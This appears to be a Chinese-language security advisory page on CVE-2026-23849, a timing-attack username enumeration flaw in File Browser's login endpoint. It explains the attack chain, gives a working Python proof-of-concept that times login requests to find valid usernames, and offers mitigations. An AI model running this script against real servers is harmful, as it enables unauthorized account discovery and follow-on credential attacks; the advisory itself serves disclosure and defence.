IPBUF安全漏洞报告
English
CVE-2026-23849 CVSS 5.3 中危

CVE-2026-23849 | File Browser 时序攻击导致用户名枚举漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23849
漏洞类型
时序攻击/用户名枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
File Browser (filebrowser)

相关标签

时序攻击用户名枚举File Browser认证绕过信息泄露CVE-2026-23849

漏洞概述

CVE-2026-23849是File Browser项目中的一个安全漏洞。该漏洞存在于JSONAuth.Auth函数中,由于认证逻辑存在缺陷,允许未认证攻击者通过测量/api/login端点的响应时间来枚举系统中的有效用户名。File Browser是一个提供文件管理界面的工具,可用于上传、删除、预览、重命名和编辑文件。此漏洞影响2.55.0之前的所有版本,攻击者无需任何权限即可利用此漏洞获取系统用户名信息,为进一步攻击奠定基础。该漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞的根本原因在于认证逻辑中的"短路"评估实现。当用户尝试登录时,系统首先查询数据库验证用户名是否存在。如果用户名不存在,函数立即返回错误响应;如果用户名存在,则继续使用bcrypt算法验证密码(users.CheckPwd),这是一个计算密集型操作,设计上故意较慢以防止暴力破解。由于这两种执行路径的处理时间存在显著差异,攻击者可以通过多次测量登录请求的响应时间来推断某个用户名是否存在于系统中。具体而言,有效用户名的响应时间通常比无效用户名的响应时间更长,因为bcrypt哈希计算需要额外的处理时间。攻击者可以构建自动化脚本,对常见用户名列表进行时序分析,从而枚举系统中的有效账户。此漏洞无需任何特殊权限即可利用,攻击向量为网络。

攻击链分析

STEP 1
步骤1
攻击者访问File Browser的/api/login端点,发送包含测试用户名和任意密码的登录请求
STEP 2
步骤2
攻击者使用自动化脚本多次发送相同请求,精确测量每次响应的时间
STEP 3
步骤3
对于不存在的用户名,服务器立即返回错误;对于存在的用户名,服务器执行bcrypt密码验证,导致响应时间显著增加
STEP 4
步骤4
攻击者对大量用户名进行时序分析,识别响应时间较长的用户名,这些即为系统中的有效账户
STEP 5
步骤5
获取有效用户名后,攻击者可结合暴力破解或凭证填充攻击尝试获取密码,进一步入侵系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time import statistics TARGET_URL = "http://target-server/api/login" TEST_USERNAMES = ["admin", "user", "test", "guest", "root"] NUM_REQUESTS = 10 def measure_response_time(username): """Measure average response time for a username""" times = [] for _ in range(NUM_REQUESTS): start = time.time() response = requests.post(TARGET_URL, json={ "username": username, "password": "wrong_password" }) end = time.time() times.append(end - start) return statistics.mean(times) def enumerate_usernames(): """Enumerate valid usernames using timing attack""" results = {} for username in TEST_USERNAMES: avg_time = measure_response_time(username) results[username] = avg_time print(f"Username: {username}, Avg Time: {avg_time:.4f}s") # Identify likely valid usernames (longer response time) threshold = statistics.mean(results.values()) + statistics.stdev(results.values()) valid_usernames = [u for u, t in results.items() if t > threshold] print(f"\nLikely valid usernames: {valid_usernames}") return valid_usernames if __name__ == "__main__": enumerate_usernames()

影响范围

File Browser (filebrowser) < 2.55.0

防御指南

临时缓解措施
如果无法立即升级,可通过在认证路径中添加人工延迟来缓解,使所有响应的处理时间保持一致。同时建议对登录接口配置限流规则,限制单IP的请求频率,并监控异常的登录尝试模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表